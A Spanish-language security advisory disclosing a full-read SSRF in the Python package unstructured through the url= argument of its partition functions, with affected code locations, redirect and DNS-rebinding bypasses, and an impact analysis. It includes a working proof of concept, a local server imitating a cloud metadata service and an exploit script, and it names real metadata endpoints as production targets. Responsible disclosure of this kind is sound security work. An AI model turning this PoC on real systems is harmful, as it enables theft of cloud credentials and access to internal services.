Resumen

Se ha identificado una vulnerabilidad de tipo SSRF en el paquete unstructured. El argumento url= de las funciones partition(), partition_html() y partition_md() realiza peticiones HTTP mediante requests.get() sin ninguna validación del host de destino. El cuerpo de la respuesta se devuelve como texto de elementos Element, lo que convierte esta vulnerabilidad en un SSRF de lectura completa: un atacante puede alcanzar APIs administrativas en loopback, servicios HTTP internos y endpoints de metadatos cloud, y leer su respuesta íntegra.

unstructured actúa como capa de ingestión de URLs de facto para LangChain UnstructuredURLLoader, LlamaIndex UnstructuredReader, Chainlit y numerosos frameworks de agentes. Los valores seguros por defecto deben residir en la biblioteca, no en cada consumidor downstream.

Detalles técnicos

Se han identificado tres puntos de inyección, todos presentes en unstructured == 0.22.26 (verificado en main en el commit 199f255):

  • unstructured/partition/auto.py:303: función file_and_type_from_url(), alcanzable mediante partition(url=...).
  • unstructured/partition/html/partition.py:160: función partition_html(url=...). La comprobación de Content-Type posterior a la descarga se ejecuta después de que la petición ya ha alcanzado el destino.
  • unstructured/partition/md.py:96: función partition_md(url=...). Sin timeout configurado, lo que combina SSRF con un vector de DoS tipo slow-loris.

Ninguno de los tres archivos contiene referencias a is_private, is_loopback, ipaddress, gethostbyname ni allow_redirects. Se identifican tres rutas de explotación aplicables:

  1. Objetivo directo con IP privada.
  2. Bypass mediante redirección (el valor por defecto allow_redirects=True permite seguir redirecciones hacia destinos internos).
  3. DNS rebinding (condición de carrera TOCTOU, mitigable únicamente mediante socket pinning).

La vulnerabilidad existe desde la versión 0.4.7 (febrero de 2023), abarcando aproximadamente 219 versiones publicadas sin que se haya introducido ningún mecanismo de validación.

Prueba de concepto

Entorno local. Requiere: pip install unstructured==0.22.26 flask requests.

Servidor interno simulado (internal_server.py):

python
from flask import Flask, Response, jsonify
app = Flask(__name__)

@app.route("/imds")
def imds(): return jsonify({"AccessKeyId": "ASIA-FAKE", "SecretAccessKey": "FAKE/SECRET"})

@app.route("/internal.html")
def html(): return Response("<html><body><p>SK_LEAK_42</p></body></html>", mimetype="text/html")

@app.route("/redir")
def redir(): return Response("", 302, headers={"Location": "http://127.0.0.1:9999/imds"})

if __name__ == "__main__": app.run(host="127.0.0.1", port=9999)

Script de explotación (exploit.py), usando la API pública de nivel superior:

python
# Stub de helpers NLP para omitir la descarga del modelo spaCy en sandbox offline.
# No afecta al SSRF, que reside en el fetcher de URLs, antes del procesamiento NLP.
import unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt
_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or "").split(". ") if s]
_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or "").split()
_tk.pos_tag       = _tt.pos_tag       = lambda t: [(w, "NN") for w in (t or "").split()]

from unstructured.partition.auto import partition
L = "http://127.0.0.1:9999"

# A: partition(url=...) filtra el cuerpo HTML interno
assert "SK_LEAK_42" in "\n".join(str(e) for e in partition(url=f"{L}/internal.html", languages=["eng"]))
# B: bypass por redirección alcanza el IMDS simulado
assert "SecretAccessKey" in "\n".join(str(e) for e in partition(url=f"{L}/redir", languages=["eng"]))
print("PoC OK")

En un entorno de producción, el atacante sustituye el destino por 169.254.169.254, metadata.google.internal o cualquier dirección interna accesible.

Impacto

Capacidades que obtiene un atacante que explota esta vulnerabilidad:

Lectura de servicios HTTP internos. Consolas administrativas en loopback, frontends HTTP de Elasticsearch, Redis, Consul, etcd, el servidor API de Kubernetes y microservicios internos. Esta es la capacidad de mayor alcance y no se ve mitigada por ningún endurecimiento aplicado en el lado cloud.

Acceso a metadatos de instancias cloud. Lectura de servicios de metadatos que responden a peticiones GET no autenticadas: GCP (metadata.google.internal), Azure IMDS, Oracle Cloud, DigitalOcean e instancias EC2 configuradas con IMDSv1, que sigue siendo ampliamente utilizado en cuentas antiguas y en servicios que no imponen IMDSv2 de forma exclusiva. Las instancias EC2 configuradas exclusivamente con IMDSv2 no están expuestas al robo directo de credenciales mediante este SSRF, ya que IMDSv2 requiere una petición PUT para la adquisición del token; no obstante, el SSRF sigue alcanzando el endpoint para reconocimiento y mapeo de superficie.

Invocación de endpoints GET con efectos secundarios. Consumidores de magic links, disparadores de trabajos y generadores de previsualizaciones de enlaces accesibles en redes internas.

Reconocimiento de red interna. El tiempo de éxito o fallo de conexión y los mensajes de error permiten utilizar esta vulnerabilidad como escáner de puertos y servicios internos.

Contexto y alcance

Dado que unstructured es la biblioteca de referencia para la ingestión de URLs en los principales frameworks de IA (LangChain, LlamaIndex, Chainlit y otros), el radio de impacto potencial es muy elevado. Cualquier aplicación que exponga el argumento url= a entrada controlada por el usuario, directa o indirectamente a través de estos frameworks, es vulnerable. La ausencia de validación durante aproximadamente dos años y en más de 200 versiones publicadas indica que no existe ningún control compensatorio en la propia biblioteca.